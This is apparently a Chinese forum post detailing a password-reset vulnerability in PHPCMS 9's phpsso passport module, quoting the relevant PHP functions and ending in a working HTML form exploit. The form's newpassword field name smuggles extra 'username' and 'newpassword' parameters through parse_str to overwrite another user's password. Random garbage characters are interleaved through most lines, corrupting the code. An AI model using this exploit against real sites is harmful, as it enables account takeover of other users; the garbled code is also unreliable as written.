提到的通行证的代码:
7 f+ F. z0 y1 l+ P4 {
! x7 g$ c! ~+ |/ n/ F/ T$ S1 b( ]% e7 h; r
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data); n1 f1 c$ C7 p& {$ @9 s
/ f# z, z% c" d& X3 d5 h8 T' F
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
' `8 x$ {& }& q+ Y$ d9 R5 D4 J: U5 I2 w+ Q
我把它留给了你们。
* |* J8 ~' u8 Q1 o; n6 O. f不知道你们发现了它没有。
) S8 C. r0 l, j S5 Y
7 [3 `+ N7 D3 s7 M, t我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。7 i, w6 V$ v" i( \ V
; W% K( O0 J. Y. m" h& t2 x
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
' L9 o& e( u/ g. ~' L# j5 W b" B, t$ u' x3 E* V( n/ l, C
也就是
' e! L9 _0 k' ]9 J
5 o9 \; ^5 ], R8 {6 s( {username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。( p9 Y) w) D2 B! ~ |5 t
' d0 K6 `4 w8 Y要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
* u$ f3 B& r; H) _2 B6 T3 v6 _3 f6 l% w
# L% F! [- B6 t2 O
其实我们有这样的机会,看看代码,如下:& ?4 `% X: K- L, Y
2 ?& W" @0 K5 f& ^
8 v/ F( p2 c |) ]public function auth_data($data) {
5 Y) ]3 D3 o, R' C8 D, ~ $s = $sep = '';
2 @5 a/ J8 ^# h$ n8 e foreach($data as $k => $v) {& |3 o& `* W, B+ P: B+ J( K
if(is_array($v)) {
% }' B$ i! J0 i- Q; ^ $s2 = $sep2 = '';4 L4 k9 A6 W0 X+ N) h
foreach($v as $k2 => $v2) {
' [' y1 t3 K/ K' H+ F1 `4 V; y) C8 c $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);5 V7 u: g7 Z( Q! w
$sep2 = '&';
* {' u4 Y* S7 `7 e8 o7 a# T2 @. d ? }
3 W* v; k" Z9 w $s .= $sep.$s2;0 n: |1 q3 f0 F. m
} else {" `$ S5 ~* B, N* V# w. Q5 w( |
$s .= "$sep$k=".$this->_ps_stripslashes($v);. X9 H+ E+ H" c% c5 H* K
}9 s E n: M9 u# w
$sep = '&';
+ T0 R3 x+ a( h8 D4 a2 R3 Y }
0 C/ v4 M" l- i% ^- s/ I
) k g( Z5 j! ~ $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
2 X; {" T" v; i7 r, W( S$ Q. ? return $auth_s;3 m- g0 q, k2 S5 w* @
}5 H9 J" [ P2 T8 v
L8 O3 K$ M' K
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。+ Y A0 A+ W+ q6 a: b
% Y O7 I7 v7 }
举个例子; `- R$ [: e+ z! |) u5 s! L/ T
, U1 K/ {) u2 J: l) Z n
$a[aaa=a&bbb] = 'a';9 ]6 U' S: y( W0 A2 z5 Y' ^. I2 ~: r
, g2 D \6 `. z3 m会变成aaa=a&bbb=a
$ G! f& R0 h3 K e6 C6 d! m8 z! ]; u8 c+ U2 e/ d; N+ v
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。1 H* s- P; f$ _* r7 n0 q
' b$ {" b& a% q0 G
这个时候,我们可以再去看一个函数。
/ ]8 S$ L' T1 Q; A" G$ F7 L
/ B! v7 ~; H7 {' F& X# c就在这个文件内:
2 S' n; p% u0 K6 J
' r% d( F8 F1 i! T, h# T, t1 z
$ ~ y# X! \% ?* z, p+ Qpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {' a( H M g+ [. {( G) v; F
if($email && !$this->_is_email($email)) {
' w' w j, g1 T1 y# }6 O return -4;% `( `9 Z& R8 H3 k& ? P
}: V& o; u5 q V- @* J
return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));6 Y+ i; X6 P5 p) ]) F. b ]2 b
}
) @! I6 J! Q0 W; _% l+ {" f" d( Y3 [ O4 A& H7 s
这是向通行证发了这样一个请求。
9 T. e) M$ L0 b6 n, {0 o+ E: J( I6 d! b( A L7 |
我们再跟到通信证代码里去看看,就会有所发现。, W, M0 X4 l- |
Q& \. f2 N( ]+ f
1 v3 Y- q3 |8 ?. O0 l( q2 a) u; apublic function edit() {
, B$ I, s9 t$ f" m6 t, B5 ]; T//能省就省,太长了不是吗?
. P/ L3 u3 Q1 s& `9 j ~: m5 t3 U3 T- S; F) J
if($this->username) {: Q7 k T) Z, p6 R
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
& [) V1 x7 K/ P2 f8 h& P- y+ x" w $res = $this->db->update($data, array('username'=>$this->username));- [0 A/ c4 H' e) O8 T
} else {
+ p. e/ H4 _6 `) m file_put_contents('typeb.txt',print_r($data,1).$this->uid);
; o8 g7 o3 D: C" P6 y) \ $res = $this->db->update($data, array('uid'=>$this->uid));
! A" F; }/ g& \) \0 @ }( S2 |3 n. M0 s# J2 s3 Q3 {$ V) U
1 {0 f& s w( l# A, X7 [好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:8 e9 K- L3 l( @ h* v% F
3 k4 M! @$ R7 \% R/ Apublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
1 T; T; q! e2 q+ g2 K
) u" |0 Q7 k& `* Y9 r很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。' K B5 \9 w+ N- |# E& K
% s! t1 q2 ~% _8 W9 M- l( R8 D. ?/ f我当然找到了:
* T p( ~+ }2 S& aphpcms9/phpcms/modules/member/index.php' p) R! r+ F% n
+ D& f/ K" ~: {2 C# I5 u% R6 J$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);+ N, G) d* P4 N2 p( \- l6 Q2 x
. B2 Z2 B1 E. x7 N5 m+ h
然后就没有然后了。
0 O6 n0 Z J1 g) e1 w' s
$ H( i: T6 \" M' o3 p% ^& D<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">1 m |- t% L) w( w! O- m5 Z
<table width="100%" cellspacing="0" class="table_form">
0 `- m$ m# @# j8 B2 x <tr>. x: I. N: x. m
<th width="80">邮箱:</th>
0 p V* c- W+ _( d: B9 T <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>* P0 B! L7 [; u6 Y" ]6 M7 P
</tr>& |7 |# z7 V' U4 [
<tr>! v7 f/ ]% a9 }" o
<th width="80">原密码:</th>
, [! @ `- ]2 o( s, o2 S! W- F# ] <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
+ |) a7 L( d2 A; c9 a& H </tr>
+ d. F8 b( J7 m <tr>* [) x% i, |) E9 U" ~/ A
<th>新密码:</th>" k+ K9 w9 A' T- K. c/ e1 z0 M
<td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
5 @: T5 T3 M# a9 u# Y* y2 Q0 Q </tr>
' p/ ~0 h3 w E7 C/ Z. r <th></th>
$ Y3 O w4 V; p/ d1 j$ c <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>! f% |; s: }( I! ^# p
</tr>
. M6 Q c) v { </table>
* t [4 L, i; F! T; s6 ^. t% w( x" ]
0 a- u4 n& ]" p/ r
0 V$ D! [$ Q2 Y* k0 {* x! c F </form>$ p; U9 Y" Z$ _! `3 [; a0 b2 a ~. H
|